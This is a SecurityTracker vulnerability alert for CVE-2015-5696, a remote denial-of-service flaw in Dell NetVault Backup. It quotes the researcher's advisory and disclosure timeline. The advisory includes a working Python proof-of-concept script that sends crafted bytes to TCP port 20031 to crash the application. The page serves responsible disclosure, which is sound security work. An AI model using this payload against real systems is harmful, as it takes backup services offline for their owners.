SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Dell NetVault Backup Vendors:   Dell
Dell NetVault Backup Lets Remote Users Cause the Target Application to Crash
SecurityTracker Alert ID:  1033145
SecurityTracker URL:  http://securitytracker.com/id/1033145
CVE Reference:   CVE-2015-5696   (Links to External Site)
Updated:  Mar 3 2017
Original Entry Date:  Jul 30 2015
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 10.0.1.24; possibly other versions
Description:   A vulnerability was reported in Dell NetVault Backup. A remote user can cause the target application to crash.

A remote user can send specially crafted data to TCP port 20031 on the target system to cause the target application to crash.

A manual restart is required to return the system to normal operations.

The vendor was notified on January 9, 2015.

Josep Pi Rodriguez (https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24) reported this vulnerability.

Impact:   A remote user can cause the target application to crash. A manual restart is required to return the application to normal operations.
Solution:   The vendor has issued a fix (10.0.5.x).
Vendor URL:  www.quest.com/products/netvault-backup/ (Links to External Site)
Cause:   Input validation error

Message History:   None.


 Source Message Contents

Subject:  Dell Netvault Backup Remote Denial of Service

Product: Dell Netvault Backup
Link: http://software.dell.com/products/netvault-backup/
Vendor: Dell
Vulnerable Version(s): 10.0.1.24 and probably prior
Tested Version: Version 10.0.1.24
Advisory Publication: July 30, 2015 
Vendor Notification: January 9, 2015
Public Disclosure: July 30, 2015
Vulnerability Type: Remote Denial of service
CVE Reference: CVE-2015-5696
Risk Level: Medium
Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24

------------------------------------------------------------------------
-----------------------

Advisory Details:

Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually.

Proof of concept script:

#!/usr/bin/python
import socket as so
from struct import *

server = "192.168.140.130"
port = 20031
d = "\x18\x00\x00\x00"  
d += "\x01" 

#d += "\xCB\x22\x77\xC9" # Another crash example
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6  
d += "\x00" # null byte

##
# send it

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(d)
s.close()

------------------------------------------------------------------------
-----------------------

Solution:

Disclosure timeline:
2015-01-09 Vendor notified via email
2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x
2015-07-30 Public disclosure.

The fix done by Dell was not checked by the researcher.

------------------------------------------------------------------------
-----------------------
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC